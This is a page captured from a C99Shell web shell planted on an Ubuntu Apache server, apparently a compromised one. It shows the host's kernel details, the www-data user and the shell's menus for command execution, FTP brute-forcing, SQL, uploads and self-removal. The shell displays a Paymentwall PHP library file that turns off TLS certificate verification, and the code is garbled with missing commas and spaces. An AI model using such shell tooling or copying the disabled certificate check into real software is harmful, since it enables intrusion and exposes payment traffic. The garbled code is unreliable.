!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/paymentwall/paymentwall-php/lib/Paymentwall/   drwxrwxr-x
Free 13.06 GB of 57.97 GB (22.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HttpAction.php (3.39 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Paymentwall_HttpAction extends Paymentwall_Instance
{
    protected 
$apiObject;
    protected 
$apiParams = array();
    protected 
$apiHeaders = array();
    protected 
$responseLogInformation = array();

    public function 
__construct($object$params = array(), $headers = array())
    {
        
$this->setApiObject($object);
        
$this->setApiParams($params);
        
$this->setApiHeaders($headers);
    }

    public function 
getApiObject()
    {
        return 
$this->apiObject;
    }

    public function 
setApiObject(Paymentwall_ApiObject $apiObject)
    {
        
$this->apiObject $apiObject;
    }

    public function 
getApiParams()
    {
        return 
$this->apiParams;
    }

    public function 
setApiParams($params = array())
    {
        
$this->apiParams $params;
    }

    public function 
getApiHeaders()
    {
        return 
$this->apiHeaders;
    }

    public function 
setApiHeaders($headers = array())
    {
        
$this->apiHeaders $headers;
    }

    public function 
run()
    {
        
$result null;

        if (
$this->getApiObject() instanceof Paymentwall_ApiObject) {
            
$result $this->apiObjectPostRequest($this->getApiObject());
        }

        return 
$result;
    }

    public function 
apiObjectPostRequest(Paymentwall_ApiObject $object)
    {
        return 
$this->request('POST'$object->getApiUrl(), $this->getApiParams(), $this->getApiHeaders());
    }

    public function 
post($url '')
    {
        return 
$this->request('POST'$url$this->getApiParams(), $this->getApiHeaders());
    }

    public function 
get($url '')
    {
        return 
$this->request('GET'$url$this->getApiParams(), $this->getApiHeaders());
    }

    protected function 
request($httpVerb ''$url ''$params = array(), $customHeaders = array())
    {
        
$curl curl_init();

        
$headers = array(
            
$this->getLibraryDefaultRequestHeader()
        );

        if (!empty(
$customHeaders)) {
            
$headers array_merge($headers$customHeaders);
        }

        if (!empty(
$params)) {
            
curl_setopt($curlCURLOPT_POSTFIELDShttp_build_query($params));
        }

        
// CURL_SSLVERSION_TLSv1_2 is defined in libcurl version 7.34 or later
        // but unless PHP has been compiled with the correct libcurl headers it
        // won't be defined in your PHP instance.  PHP > 5.5.19 or > 5.6.3
        
if (! defined('CURL_SSLVERSION_TLSv1_2')) {
            
define('CURL_SSLVERSION_TLSv1_2'6);
        }

        
curl_setopt($curlCURLOPT_SSLVERSIONCURL_SSLVERSION_TLSv1_2);
        
curl_setopt($curlCURLOPT_CUSTOMREQUEST$httpVerb);
        
curl_setopt($curlCURLOPT_URL$url);
        
curl_setopt($curlCURLOPT_TIMEOUT60);
        
curl_setopt($curlCURLOPT_RETURNTRANSFERtrue);
        
curl_setopt($curlCURLOPT_SSL_VERIFYPEERfalse);
        
curl_setopt($curlCURLOPT_HTTPHEADER$headers);
        
curl_setopt($curlCURLOPT_HEADERtrue);

        
$response curl_exec($curl);

        
$headerSize curl_getinfo($curlCURLINFO_HEADER_SIZE);
        
$header substr($response0$headerSize);
        
$body substr($response$headerSize);

        
$this->responseLogInformation = array(
            
'header' => $header,
            
'body' => $body,
            
'status' => curl_getinfo($curlCURLINFO_HTTP_CODE)
        );
        
        
curl_close($curl);

        return 
$this->prepareResponse($body);
    }

    protected function 
getLibraryDefaultRequestHeader()
    {
        return 
'User-Agent: Paymentwall PHP Library v. ' $this->getConfig()->getVersion();
    }

    protected function 
prepareResponse($string '')
    {
        return 
preg_replace('/\x{FEFF}/u'''$string);
    }

    public function 
getResponseLogInformation() {
        return 
$this->responseLogInformation;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0118 ]--